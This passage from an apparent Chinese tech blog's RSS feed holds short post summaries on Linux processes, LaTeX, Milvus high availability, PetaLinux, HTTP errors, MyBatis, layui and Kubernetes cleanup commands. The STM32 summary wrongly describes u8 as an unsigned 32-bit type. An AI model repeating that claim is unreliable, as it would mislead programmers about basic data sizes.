Value）来标识每个进程。pid的类型是隐含类型pid_t，实际上就是int。为了兼容老版本，PID数的最大值是32768（有符号short int最大值），但是可以在&amp;lt;linux/threads.h&amp;gt;中增加到400万。内核把每个进程的pid存放到进程描述符中。&#xA;内核大部分处理进程的操作，都是通过task_struct实现的，因此内核需要能获取到指向task_struct的指针。有些内存结构有专门的寄存器存放task_struct的指针，而x86等寄存器不富裕的体系，只能在内核栈的尾端创建thread_info，通过计算内存偏移来简接查找task_struct。&#xA;2.3 进程状态 进程描述符的state域描述了进程的状态。进程包含5种状态：&#xA;TASK_RUNNING：运行，进程是可执行的。可能正在执行，也可能正在任务队列等待执行。这是进程在用户空间中执行的唯一可能的状态；TASK_INTERRUPTIBLE：可中断，此时的进程正在睡眠（也叫阻塞），等待某些条件的达成。处于此状态的进程会因为提前接收到信号而被唤醒；TASK_UNINTERRUPTIBLE：不可中断，除了接收到信号也不会提前被唤醒，其他的和可中断相同。这个状态通常用在等待时不受干扰，或者等待的事情很快发生的场景；__TASK_TRACED：被其他进程跟踪的进程，例如通过ptrace对调试进程进行跟踪；__TASK_STOPPED：停止，进程停止执行，进程没有投入运行，也不能投入运行。通常这种状态发生在接收到SIGSTOP、SIGTSTP、SIGTTIN、SIGTTOU等信号时；在调试期间接受到任何信号，也会进入这个状态。 2.4 进程上下文 当一个程序执行了系统调用，或者触发了某个异常，就陷入了内核空间，此时称内核“代表程序执行”，并处于进程上下文。除非期间有更高优先级的进程要执行，并且调度器做出了相应调整，否则在内核退出的时候，程序恢复在用户空间继续运行。&#xA;系统调用和异常处理是对内核明确定义的接口，进程只有通过这些接口才能陷入内核，即进程对内核的所有访问都需要通过这些接口。&#xA;2.5 进程家族树 Linux的所有进程都是PID为1的初始进程的后代。内核在系统启动的最后阶段启动init进程。该进程读取系统的初始化脚本，并执行相关的程序，最终完成系统启动的整个过程。&#xA;系统中每个进程都有一个父进程，和零个或多个子进程。拥有同一父进程的进程，称为兄弟进程。进程间的关系存放在进程描述符中，每个task_struct都包含一个parent指针，指向父进程所在的task_struct，以及一个名为children的指针链表，指向所有的子进程的task_struct。&#xA;3、进程的创建 Unix把进程的创建拆分成了两个函数：&#xA;fork()：Linux通过clone()系统调用实现了fork()，通过拷贝当前进程创建一个子进程。子进程和父进程的区别只在于PID、PPID（父进程的PID）和一些统计量。exec()：将可执行文件载入地址空间开始执行。 Linux的fork()使用写时拷贝（copy-on-write）页实现资源的复制。资源的复制，只有在需要写入的时候才进行，在此之前以只读方式共享。这种技术使地址空间的页拷贝推迟到实际发生写入的时候才进行，如果页根本不会被写入，例如fork()后立即执行exec()，则无需复制。这样可以避免拷贝大量根本不会被使用的数据，这也是Unix快速执行的能力的一种重要支撑。&#xA;fork()的实际开销就是复制父进程的页表，以及给子进程创建唯一的进程描述符。进程页表是进程私有的结果，映射了内核态和用户态的线性地址。&#xA;4、进程的终结 当一个进程终结时，内核会回收进程的全部资源，并通知父进程。&#xA;1、do_exit()方法回收资源并更新状态：&#xA;回收地址空间：如果没有其他进程占用，就释放掉地址空间；回收文件描述符、文件系统数据：引用计数分别递减，如果减为0，就释放；执行退出代码：执行操作系统规定的退出动作，并把退出代码存放到task_struct中的exit_code中供父进程随时检索；设置退出状态：task_struct中的exit_state设置为EXIT_ZOMBIE，进程不再接受调度；给子进程重新寻找父进程，新的父进程是线程组的其他线程，或者init进程；调用schedule()方法切换到新的进程。 2、此时，进程所占有的内存资源只剩下内核栈、thread_info和task_struct。此时进程存在的唯一目的，就是向它的父进程提供信息。父进程检索到相关信息后，或者通知内核那是无关信息后，内核会释放剩下的这些资源。&#xA;5、线程的实现 Linux内核并没有线程的概念，它把线程当做进程来实现，线程仅仅被视为与其他进程共享某些资源的进程。线程有自己的task_struct，所以从内核的角度，线程只是一个普通的进程，仅仅是和其他进程共享了一些资源，比如地址空间等。&#xA;1、线程的创建&#xA;创建线程和创建进程相似，也是调用clone()实现，只不过传递的一些参数，用来控制共享一些资源：&#xA;clone(CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND, 0) 这些代码是用来和父进程共享：地址空间、文件系统资源、文件描述符和信号处理程序。</description>
    </item>
    <item>
      <title>LaTeX 排版（四）——颜色与超链接</title>
      <link>https://bchobby.github.io/posts/ee0b18e6c600022f53050bacc5e6ad59/</link>
      <pubDate>Thu, 15 Apr 2021 19:31:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee0b18e6c600022f53050bacc5e6ad59/</guid>
      <description>1. 使用颜色 原始的 LaTeX \LaTeX LATE​X 不支持使用各种颜色。color 宏包或者 xcolor 宏包提供了对颜色的支持，给 PDF 输出生成颜色的特殊指令.&#xA;1.1 颜色的表达方式 调用 color 或 xcolor 宏包后，我们就可以用如下命令切换颜色：&#xA;\color[⟨color-mode⟩]{⟨code⟩} \color{⟨color-name⟩} 颜色的表达方式有两种，其一是使用色彩模型和色彩代码，代码用 0 ∼ 1 的数字代表成分的比例. color 宏包支持 rgb、cmyk 和 gray 模型，xcolor 支持更多的模型如 hsb 等.&#xA;\large\sffamily {\color[gray]{0.6} 60\% 灰色} \\ {\color[rgb]{0,1,1} 青色} 其二是直接使用名称代表颜色，前提是已经定义了颜色名称（没定义的话会报错）：&#xA;\large\sffamily {\color{red} 红色} \\ {\color{blue} 蓝色} color 宏包仅定义了 8 种颜色名称，xcolor 补充了一些，总共有 19 种，见下表：&#xA;\large\sffamily {\color{red!40} 40\% 红色}\\ {\color{blue}蓝色 \color{blue!50!black}蓝黑 \color{black}黑色}\\ {\color{-red}红色的互补色} 我们还可以通过命令自定义颜色名称，注意这里的 ⟨color-mode⟩ 是必选参数：&#xA;\definecolor{⟨color-name⟩}{⟨color-mode⟩}{⟨code⟩} 1.2 带颜色的文本和盒子 原始的 \color 命令类似于字体命令 \bfseries，它使之后排版的内容全部变成指定的颜色，所以直接使用时通常要加花括号分组。color / xcolor 宏包都定义了一些方便用户使用的带颜色元素.</description>
    </item>
    <item>
      <title>用Keepalived搭建milvus高可用方案</title>
      <link>https://bchobby.github.io/posts/f2f1cc2af115fd35af7cb7f5f56d78c3/</link>
      <pubDate>Thu, 15 Apr 2021 17:29:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2f1cc2af115fd35af7cb7f5f56d78c3/</guid>
      <description>用Keepalived搭建milvus高可用方案&#xA;本人是在centos中搭建项目,如有问题还请多讨论。&#xA;准备工作如下:&#xA;1.准备两台服务器 本人192.168.78.118 192.168.78.119&#xA;2.两台机器安装docker容器,Python 3.6版本和pip&#xA;Python安装参照https://www.cnblogs.com/yjlch1016/p/9289588.html&#xA;pip安装可按照https://pip.pypa.io/en/stable/installing/&#xA;3.安装mysql 目前milvus只支持mysql和sqlite 建议生产使用mysql&#xA;4.两台机器有共享存储设备&#xA;安装milvus 1.拉取milvus 1.0版本(可根据自己业务选择)&#xA;#docker pull milvusdb/milvus:1.0.0-cpu-d030521-1ea92e 2.创建milvus目录 /app/$user/milvus&#xA;在milvus下分别创建db、conf和logs目录&#xA;3.在conf下拉取配置文件server_config.yaml,也可去官网复制,修改配置文件内milvus端口号和mysql配置,其他可根据官网配置&#xA;wget https://raw.githubusercontent.com/milvus-io/milvus/v1.0.0/core/conf/demo/server_config.yaml 4.启动milvus命令&#xA;docker run -d --name xgmilvus \ -p 19530:19530 \ -p 19121:19121 \ -v /app/milvus/db:/var/lib/milvus/db \ -v /app/milvus/conf:/var/lib/milvus/conf \ -v /app/milvus/logs:/var/lib/milvus/logs \ milvusdb/milvus:1.0.0-cpu-d030521-1ea92e 查看是否启动成功命令&#xA;docker logs &amp;lt;milvus容器ID&amp;gt; 安装keepalived 1.在主备机环境中输入如下命令&#xA;# vim /etc/sysctl.conf 将net.ipv4.ip_forward=1前面的“#”号删除，将net.ipv4.ip_nonlocal_bind=1 插入其后并保存退出&#xA;使用如下命令使其生效:&#xA;# sysctl -p 2.在主备机中安装 keepalived 及其依赖包&#xA;# apt-get install libssl-dev openssl libpopt-dev # apt-get install keepalived 3.</description>
    </item>
    <item>
      <title>MODIS数据的下载（hdf格式与图片格式）</title>
      <link>https://bchobby.github.io/posts/4ce57494524bcbb113efdba71a543b4c/</link>
      <pubDate>Thu, 15 Apr 2021 13:24:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ce57494524bcbb113efdba71a543b4c/</guid>
      <description>1. hdf格式MODIS数据下载 下载方法&#xA;MODIS数据的下载（新地址）&#xA;下载网址：&#xA;https://ladsweb.nascom.nasa.gov/search&#xA;数据读取，借助matlab的hdftool工具读取数据，imshow函数显示图像&#xA;2. 图片格式MODIS数据下载 下载地址（Worldview Snapshots）：&#xA;https://wvs.earthdata.nasa.gov/&#xA;真彩色tiff图片matlab读取（imread和imshow函数）：&#xA;Matlab读取高光谱遥感数据.Mat 和.tif(2020.12.27)&#xA;https://blog.csdn.net/jing_zhong/article/details/111770040&#xA;3. 其他相关网址： MODIS官网：https://modis.gsfc.nasa.gov/&#xA;Ocean Color Web：https://oceancolor.gsfc.nasa.gov/&#xA;MODIS-Land：https://modis-land.gsfc.nasa.gov/&#xA;Atmosphere-Imager：https://atmosphere-imager.gsfc.nasa.gov/&#xA;MCST（MODIS团队）：https://mcst.gsfc.nasa.gov/</description>
    </item>
    <item>
      <title>STM32相关知识——u8是什么意思？</title>
      <link>https://bchobby.github.io/posts/e125b7379cfc708324034852ec75528a/</link>
      <pubDate>Thu, 15 Apr 2021 10:21:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e125b7379cfc708324034852ec75528a/</guid>
      <description>通俗理解下，u8是无符号32位整型数据的其中一种表示方法，完整表示为（typedef unsigned char uint8_t）。程序员为了定义数据类型少敲几个字符，简化而来。&#xA;参考core_cm3.c下的stdint.h 部分代码如下。</description>
    </item>
    <item>
      <title>Chrome浏览器通过chrono下载插件设置下载断点续传</title>
      <link>https://bchobby.github.io/posts/37ac420e9fba174c8c1d1cc76d6b4b15/</link>
      <pubDate>Wed, 14 Apr 2021 22:21:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37ac420e9fba174c8c1d1cc76d6b4b15/</guid>
      <description>1.问题： Chrome浏览器下载设置默认不支持断点续传。&#xA;2015年前以前是在chrome://flags/里找到: #enable-download-resumption 启动：&#xA;开启Chrome自带的断点续传方法&#xA;新版本用不了上述方法，网上搜也没有。&#xA;2.解决方法： 安装Chrono插件，替换掉Chrome内置下载&#xA;优点：支持断点续传，只要不更改上网节点就可以（更改后会下载失败）&#xA;显示文件大小、当前速度，暂停，继续等操作&#xA;如何安装Chrono插件（具体操作如下）：&#xA;Chrome下载断点续传&#xA;安装和管理扩展程序</description>
    </item>
    <item>
      <title>关于zynq petalinux 2020.2版本交叉编译环境工具链的搭建和使用备忘</title>
      <link>https://bchobby.github.io/posts/9ed5e5b12f0367bf7591f1105ceb8ccc/</link>
      <pubDate>Wed, 14 Apr 2021 17:09:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ed5e5b12f0367bf7591f1105ceb8ccc/</guid>
      <description>用过xilinx zynq petalinux的人都知道petalinux编译一次非常慢，即使下载了sstate和download包之后编译还是很慢很慢，真是让人难以接受了。。。。&#xA;so....经过我一番艰苦研究之后终于弄明白了如何使用petalinux生成的sdk来编译自己的驱动程序，步骤如下：&#xA;第一步：vivado搭建硬件环境，编译出xsa，在petalinux下创建工程，按照官方指导步骤最后 petalinux-build 编译一次生成整个linux工程&#xA;第二步：使用petalinux-build --sdk，petalinux-package --sysroot命令编译出交叉编译工具链，这样只会在 images/linux/sdk文件夹下就生成了编译工具和sysroot，到此步骤之后，如果你只想编译linux 应用程序的话&#xA;就打开终端，输入source xxxx/images/linux/sdk/environment-setup-cortexa9t2hf-neon-xilinx-linux-gnueabi 导入sdk到环境变量，然后 输入 arm-xilinx-linux- 按tab键就可以看到petalinux的gcc交叉编译环境已经有了，&#xA;之后按照常规方法编译你自己的应用程序就可以了，但是这样只能编译linux 应用程序，要开发petalinux 驱动程序的话是无法编译的，编译提示错误，找不到一堆头文件，要使用petalinux 2020.2的交叉编译器还要下面几个步骤&#xA;第三步：如果你想用petalinux 2020.2自带的sdk交叉编译环境编译自己的驱动程序的话，makefile需要指定一个预编译好的内核文件目录 LINUX_KERNEL_PATH := xxx，由于petalinux build出来的文件分散放在不同目录，因此直接使用petalinux工程目录 xxxx/components/yocto/workspace/sources/linux-xlnx下的源码是不行的，编译起来会提示你没有config过，让你重新编译一次，虽然拷贝一份内核代码到别的目录后自己make menugconfig一次能解决，但是这样的话会有一个问题，就是最终即使能正常编译出自己的 ko 文件，但是加载到zynq开发板上是不能 insmod 的，因为zynq上运行的内核和你编译ko的源码内核不是同一个环境编译的，因此不能加载ko。知道原因就好办，想办法把petalinux环境编译内核时生成的目标文件和目录找出来，将文件复制到内核源码下面的对应路径即可，经过一番研究，发现petalinux2020.2编译出的内核文件目录在 xxxx/build/tmp/work-shared/zynq-generic/kernel-build-artifacts这目录下，只要按照这个目录下的文件夹名称，将里面的东西复制到linux内核源码目录下对应名字的文件夹里面即可，经过我试验，确认这个方法是ok的，使用这个方法之后每次编译自己的驱动程序只要几秒钟，原来使用petalinux-build一次5分钟以上，简直爽爆了！&#xA;Makefile写法参考如下&#xA;obj-m := fuckpetalinux.o CURRENT_PATH := $(shell pwd) LINUX_KERNEL_PATH :=/xxx/Petalinux_2020.2/linux-xlnx （linux源码目录） all: make ARCH=arm CROSS_COMPILE=arm-xilinx-linux-gnueabi- -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules clean: make -C $(CURRENT_PATH) M=`pwd` clean 比较好的做法不应该直接复制文件，因为直接复制的话如果要重新编译内核的话，又要重新复制一次，非常麻烦，后面我直接创建petalinux编译后的文件超链接，将超链接复制到linux内核源码目录下，这样之后即使改了硬件，重新编译了内核代码都可以不用修改就能直接编译驱动程序了，记得每次打开终端时source一次即可</description>
    </item>
    <item>
      <title>服务器常见错误代码500、501、502、503、504、505</title>
      <link>https://bchobby.github.io/posts/5762bd110b84efe672ffa974da8795a2/</link>
      <pubDate>Wed, 14 Apr 2021 15:13:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5762bd110b84efe672ffa974da8795a2/</guid>
      <description>一：500错误&#xA;1、500 Internal Server Error 内部服务错误：顾名思义500错误一般是服务器遇到意外情况，而无法完成请求。&#xA;2、500出错的可能性：&#xA;a、编程语言语法错误，web脚本错误&#xA;b、并发高时，因为系统资源限制，而不能打开过多的文件&#xA;3、一般解决思路：&#xA;a、查看nginx、php的错误日志文件，从而看出端倪&#xA;b、如果是too many open files，修改nginx的worker_rlimit_nofile参数，使用ulimit查看系统打开文件限制，修改/etc/security/limits.conf，还是出现too many open files，那就要考虑做负载均衡，把流量分散到不同服务器上去了&#xA;c、如果是脚本的问题，则需要修复脚本错误，优化代码&#xA;二：502、504错误&#xA;1、502 Bad Gateway错误、504 Bad Gateway timeout 网关超时&#xA;2、502、504出现的可能性&#xA;web服务器故障、程序进程不够&#xA;3、一般解决思路&#xA;a、使用nginx代理，而后端服务器发生故障；或者php-cgi进程数不够用；php执行时间长，或者是php-cgi进程死掉；已经fastCGI使用情况等都会导致502、504错误。&#xA;b、502 是指请求的php-fpm已经执行，但是由于某种原因而没有执行完毕，最终导致php-fpm进程终止。一般来说，与php-fpm.conf的设置有关，也与php的执行程序性能有关，网站的访问量大，而php-cgi的进程数偏少。针对这种情况的502错误，只需增加 php-cgi的进程数。具体就是修改/usr/local/php/etc/php-fpm.conf文件，将其中的max_children值适当增加。这个数据要依据你的服务器的配置进行设置。一般一个php-cgi进程占20M内存，你可以自己计算下，适量增多。 /usr/local/php/sbin/php-fpm reload 然后重启一下. c、504 表示超时，也就是客户端所发出的请求没有到达网关，请求没有到可以执行的php-fpm。与nginx.conf的配置也有关系。 501　服务器不具备完成请求的功能。例如，服务器无法识别请求方法时可能会返回此代码。&#xA;503　服务器目前无法使用（由于超载或停机维护）。通常，这只是暂时状态。（服务不可用）&#xA;505　服务器不支持请求中所用的 HTTP 协议版本。（HTTP 版本不受支持）&#xA;附：新增全部状态码含义&#xA;状态码分类&#xA;整体范围 已定义范围 分类&#xA;100~199 100~101 信息提示&#xA;200~299 200~206 成功&#xA;300~399 300~305 重定向&#xA;400~499 400~415 客户端错误&#xA;500~599 500~505 服务器错误&#xA;100（continue）：说明收到了请求的初始部分，请客户端继续。</description>
    </item>
    <item>
      <title>数据分析|面试必考——产品日活(DAU)下降，该如何分析</title>
      <link>https://bchobby.github.io/posts/6fbd7a4569cf61701fd4df020815110b/</link>
      <pubDate>Wed, 14 Apr 2021 12:55:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fbd7a4569cf61701fd4df020815110b/</guid>
      <description>点击上方&#34;蓝字&#34;&#xA;关注我们吧！&#xA;案例：例如 某APP日活突然下降5%，需要尽快排查一下数据下跌的原因。&#xA;这是一道经典的数据分析师面试题，考察的重点不在于从哪些指标去分析，而是面对这样的问题时的分析框架与逻辑思维，这是一个优秀的数据分析师必须具备的能力。针对数据异常类问题，可参考如下分析框架：&#xA;1对数据异常原因做出假设，利用数据验证&#xA;影响DAU因素较多，对所有维度直接拆解耗时耗力。所以需要结合以往经验及各种信息，对数据异常的原因做出假设，然后对数据从不同维度拆分来验证假设。可能随着之前的假设的验证不断进行新的假设，直到定位原因。&#xA;2确认数据真实性&#xA;将时间轴拉长(3个月)，做同比和环比，看近期异常还是历史异常；&#xA;查看与该指标关联的其他指标是否异常；&#xA;找数据流相关产品和研发确实数据真实性。&#xA;3常见拆分维度&#xA;根据以上维度拆分之后，每项数据都需要和历史数据做对比，计算影响系数。&#xA;影响系数 今日数据 昨日数据 今日总量 昨日总量 影响系数越大，说明此处为主要原因所在。通过上述维度进行初步拆分，可以大致定位数据异常范围。&#xA;4外部原因分析&#xA;外部：外部原因分析可以根据PEST（政治、经济、社会、技术）模型进行分析。&#xA;5内部原因分析&#xA;通过初步分析定位范围之后，需要进行进一步的排查，一般从三个维度来分析：产品、技术、运营；可以和这几个人一起拉一个会讨论一下。同时应注意数据统计口径是否发生变化。&#xA;6总结&#xA;所以我们整个的分析流程大致为：&#xA;先结合以往数据异常进行假设 —— 在一个假设得到验证之后 —— 从不同维度进行拆解，确定异常范围 —— 从产品、运营、技术侧逐一排查，最终找到原因。&#xA;以上分析框架不仅局限于DAU波动，对于数据异常类问题也可根据以上模型进行分析。</description>
    </item>
    <item>
      <title>01-IO模型（BIO、NIO、AIO）</title>
      <link>https://bchobby.github.io/posts/f84d0b5d875910e12319007351a8d26a/</link>
      <pubDate>Wed, 14 Apr 2021 10:59:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f84d0b5d875910e12319007351a8d26a/</guid>
      <description>目录 一、IO模型分类1.1 阻塞型 IO1.2 非阻塞型 IO1.3 I/O 多路复用1.4 信号驱动 I/O1.5 异步 I/O1.6 五大 I/O 模型比较 二、BIO、NIO与AIO2.1 BIO2.1.1 传统 BIO2.1.2 伪异步 IO1.3 代码示例 2.2 NIO (New I/O)2.2.1 NIO 简介2.2.2 NIO与BIO的区别（1）Non-blocking（非阻塞）（2）Buffer（缓冲区）（3）Channel (通道)（4）Selector (选择器) 2.2.3 代码示例 2.3 AIO (Asynchronous I/O)2.4. BIO、NIO、AIO适用场景 参考 文章放置于：https://github.com/zgkaii/CS-Study-Notes，欢迎批评指正！&#xA;一、IO模型分类 首先明确两个概念：用户空间和内核空间。&#xA;操作系统的核心是内核(kernel)，它独立于普通的应用程序，可以访问受保护的内存空间，也有访问底层硬件设备的所有权限。为了保证内核的安全，现在的操作系统一般都强制用户进程不能直接操作内核。具体的实现方式基本都是由操作系统将虚拟地址空间划分为两部分，一部分为内核空间，另一部分为用户空间。&#xA;其实所有的系统资源管理都是在内核空间中完成的。比如读写磁盘文件，分配回收内存，从网络接口读写数据等等。我们的应用程序是无法直接进行这样的操作的。但是我们可以通过内核提供的接口来完成这样的任务。&#xA;所以，当我们使用 TCP 发送数据的时候，需要先将数据从用户空间拷贝到内核空间，再由内核操作将数据从内核空间发送出去；当我们使用 TCP 读取数据的时候，数据先在内核空间准备好，再从内核空间拷贝到用户空间供用户进程使用。&#xA;客户端 --1.发送请求-&amp;gt; 网关 --2.拷贝-&amp;gt; 内核空间 --3.拷贝-&amp;gt; 用户空间 | 客户端&#x9;&amp;lt;--7.响应-- 网关 &amp;lt;--6.拷贝-- 内核空间 &amp;lt;--5.拷贝-- 用户空间（4.用户进程处理数据）&#x9;所以，一次 IO 的读取操作分为两个阶段（写入操作类似）：&#xA;等待内核空间准备数据数据从内核空间拷贝到用户空间 在这基础之上，Unix 把 IO 分成了以下五种 IO 模型：</description>
    </item>
    <item>
      <title>记录一个Android Studio  build.gradle文件很坑的问题</title>
      <link>https://bchobby.github.io/posts/972bc0f3ca9c13f571bd63054e0da9c9/</link>
      <pubDate>Wed, 14 Apr 2021 10:29:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/972bc0f3ca9c13f571bd63054e0da9c9/</guid>
      <description>点击build.gradle文件上面的代码，比如 点击 JavaCompile ，无法进入源代码查看，提示 “cannot find declaration to go to” ,直接说就是找不到要转到的声明，产生原因是我修改了.gradle的路径，以至于新的路径Android studio4.1.3环境没有识别到，还是使用了默认位置，但是默认位置的文件此时我是已经删除了的。&#xA;android.libraryVariants.all { variant -&amp;gt; JavaCompile javaCompile = variant.javaCompileProvider.get() javaCompile.doLast { String[] args = [&#34;-showWeaveInfo&#34;, &#34;-1.5&#34;, &#34;-inpath&#34;, javaCompile.destinationDir.toString(), &#34;-aspectpath&#34;, javaCompile.classpath.asPath, &#34;-d&#34;, javaCompile.destinationDir.toString(), &#34;-classpath&#34;, javaCompile.classpath.asPath, &#34;-bootclasspath&#34;, android.bootClasspath.join( File.pathSeparator)] org.aspectj.bridge.MessageHandler handler = new org.aspectj.bridge.MessageHandler(true) new org.aspectj.tools.ajc.Main().run(args, handler) } } 解决办法：设置GRADLE_USER_HOME的环境变量，路径为自定义的.gradle的路径，之后重启开发环境或者重启电脑</description>
    </item>
    <item>
      <title>Mybatis使用xml方式配置（三）</title>
      <link>https://bchobby.github.io/posts/7e6cdd1839b05427aaecf137438d5f8e/</link>
      <pubDate>Wed, 14 Apr 2021 10:20:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e6cdd1839b05427aaecf137438d5f8e/</guid>
      <description>相关章节：&#xA;Mybatis使用xml方式配置&#xA;Mybatis使用xml方式配置（二）&#xA;官网地址：https://mybatis.org/mybatis-3/zh/configuration.html&#xA;这里，我们开始学习官网中的xml配置。MyBatis的配置文件包含了会深深影响 MyBatis行为的设置和属性信息。可配置项有：&#xA;properties（属性）&#xA;settings（设置）&#xA;typeAliases（类型别名）&#xA;typeHandlers（类型处理器）&#xA;objectFactory（对象工厂）&#xA;plugins（插件）&#xA;environments（环境配置）&#xA;environment（环境变量）&#xA;transactionManager（事务管理器）&#xA;dataSource（数据源）&#xA;databaseIdProvider（数据库厂商标识）&#xA;mappers（映射器）&#xA;1. properties属性配置 连接数据库的一些属性等可以在外部进行配置，并可以进行动态替换。在mybatis-config.xml文件中，我们可以配置properties属性：&#xA;&amp;lt;properties resource=&#34;org/mybatis/example/config.properties&#34;&amp;gt; &amp;lt;property name=&#34;username&#34; value=&#34;dev_user&#34;/&amp;gt; &amp;lt;property name=&#34;password&#34; value=&#34;F2Fa3!33TYyg&#34;/&amp;gt; &amp;lt;/properties&amp;gt; 那么，在该文件中就可以使用动态配置的属性值，如：&#xA;&amp;lt;dataSource type=&#34;POOLED&#34;&amp;gt; &amp;lt;property name=&#34;driver&#34; value=&#34;${driver}&#34;/&amp;gt; &amp;lt;property name=&#34;url&#34; value=&#34;${url}&#34;/&amp;gt; &amp;lt;property name=&#34;username&#34; value=&#34;${username}&#34;/&amp;gt; &amp;lt;property name=&#34;password&#34; value=&#34;${password}&#34;/&amp;gt; &amp;lt;/dataSource&amp;gt; 按照文档，我们在resources文件夹下新建db.properties文件，在其中我们写入：&#xA;driver=com.mysql.cj.jdbc.Driver url=jdbc:mysql://localhost:3306/mybatis?useSSL=true&amp;amp;useUnicode=true&amp;amp;characterEncoding=UTF-8&amp;amp;serverTimezone=Asia/Shanghai username=root password=123456 注意此时的&amp;amp;的转义&amp;amp;amp;就不再需要了，在前面文章中转义是因为配置在xml文件中。&#xA;然后，我们在mybatis-config.xml文件中配置properties的文件关联，以及使用：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&amp;gt; &amp;lt;!DOCTYPE configuration PUBLIC &#34;-//mybatis.org//DTD Config 3.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-3-config.dtd&#34;&amp;gt; &amp;lt;!--核心配置文件--&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;properties resource=&#34;db.properties&#34;/&amp;gt; &amp;lt;environments default=&#34;</description>
    </item>
    <item>
      <title>layui实现分页查询</title>
      <link>https://bchobby.github.io/posts/4d705310f8b664ac10d4344f96d32b40/</link>
      <pubDate>Wed, 14 Apr 2021 00:20:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d705310f8b664ac10d4344f96d32b40/</guid>
      <description>layui实现分页查询 一、导入分页插件 &amp;lt;!-- 分页插件 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.pagehelper&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;pagehelper-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.12&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 二、service层 /** * 分页查询 */ List&amp;lt;HouseAdmin&amp;gt; findAllAdminByPage(int pageNum,int pageSize); 三、mapper /** * 查询所有管理员 */ public List&amp;lt;HouseAdmin&amp;gt; selectHouseAdminList(); 三、mapper.xml &amp;lt;resultMap type=&#34;HouseAdmin&#34; id=&#34;HouseAdminResult&#34;&amp;gt; &amp;lt;result property=&#34;admId&#34; column=&#34;adm_id&#34; /&amp;gt; &amp;lt;result property=&#34;admUser&#34; column=&#34;adm_user&#34; /&amp;gt; &amp;lt;result property=&#34;admPsw&#34; column=&#34;adm_psw&#34; /&amp;gt; &amp;lt;result property=&#34;admName&#34; column=&#34;adm_name&#34; /&amp;gt; &amp;lt;result property=&#34;admSex&#34; column=&#34;adm_sex&#34; /&amp;gt; &amp;lt;/resultMap&amp;gt; &amp;lt;sql id=&#34;selectHouseAdminVo&#34;&amp;gt; select adm_id, adm_user, adm_psw, adm_name, adm_sex from house_admin &amp;lt;/sql&amp;gt; &amp;lt;select id=&#34;selectHouseAdminList&#34; parameterType=&#34;HouseAdmin&#34; resultMap=&#34;HouseAdminResult&#34;&amp;gt; &amp;lt;include refid=&#34;selectHouseAdminVo&#34;/&amp;gt; &amp;lt;where&amp;gt; &amp;lt;if test=&#34;</description>
    </item>
    <item>
      <title>layui实现请求携带token，解决跨域问题</title>
      <link>https://bchobby.github.io/posts/6af60c3e630467d76ca63561a62722f6/</link>
      <pubDate>Wed, 14 Apr 2021 00:00:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6af60c3e630467d76ca63561a62722f6/</guid>
      <description>layui实现请求携带token，解决跨域问题 Access to XMLHttpRequest at &#39;http://localhost:8001/admin/save&#39; from origin &#39;http://127.0.0.1:8848&#39; has been blocked by CORS policy: Request header field token is not allowed by Access-Control-Allow-Headers in preflight response. 23:28:32.890 jquery.js:4 POST http://localhost:8001/admin/save net::ERR_FAILED&#xA;一，layui请求(ajax)携带token 使用localStorage保存登录成功时后端返回的token&#xA;localStorage.token = data.token;&#xA;console.log(data) $.ajax({ type:&#34;post&#34;, url: requestUrl+&#34;admin/login&#34;, dataType:&#34;json&#34;, contentType:&#34;application/json&#34;, data: JSON.stringify(data), success: function(data) { console.log(data) if(data.code == 200){ // 保存token localStorage.token = data.token; layer.msg(data.msg, function () { window.location = &#39;../index.html&#39;; }); }else if(data.code != 200){ layer.</description>
    </item>
    <item>
      <title>k8s运维 pod、node、namespace、pv处于terminating的原因及处理方法</title>
      <link>https://bchobby.github.io/posts/ca026ee2c174c32857f3fc45625eaaed/</link>
      <pubDate>Tue, 13 Apr 2021 23:00:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca026ee2c174c32857f3fc45625eaaed/</guid>
      <description>1. 概述 node、pod、ns、pv由于一些原因在生产中处于terminating的状态，常规方法无法删除，一下总结了一些原因以及删除方法&#xA;2. node处于Terminating状态原因及处理方法 node节点不可达的情况下，kubectl delete po XXX 仅仅是控制组件标记删除，由于节点不可达，不能通过kubelet通知API该容器已终止，所以该节点未从API收到删除的消息，因此POD一直处于Terminating状态。可通过以下举例方式强制删除：&#xA;kubectl delete pod/kube-flannel-ds-amd64-kwztb -n kube-system --grace-period=0 --force kubectl delete pod/nginx-ingress-controller-77db54fc46-rdw89 -n ingress-nginx --grace-period=0 --force 注意：pod所引用的资源不可用，例如挂载的nfs不可达，导致pod删除不了，要先使nfs可达后才能删除&#xA;3. ns处于terminating状态, 删除方法 NAMESPACE=monitoring kubectl proxy &amp;amp; kubectl get namespace $NAMESPACE -o json | jq &#39;.spec = {&#34;finalizers&#34;:[]}&#39; &amp;gt;temp.json curl -k -H &#34;Content-Type: application/json&#34; -X PUT --data-binary @temp.json 127.0.0.1:8001/api/v1/namespaces/$NAMESPACE/finalize 4. pod处于Terminating状态原因 查看报错日志，是因为master与node节点的kubelet之前失联导致的，重新对应节点的kubelet之后，异常pod即可关闭 5. 删除pv kubectl describe pvc PVC_NAME | grep Finalizers kubectl get pv | tail -n+2 | awk &#39;{print $1}&#39; | xargs -I{} kubectl patch pv {} -p &#39;{&#34;</description>
    </item>
    <item>
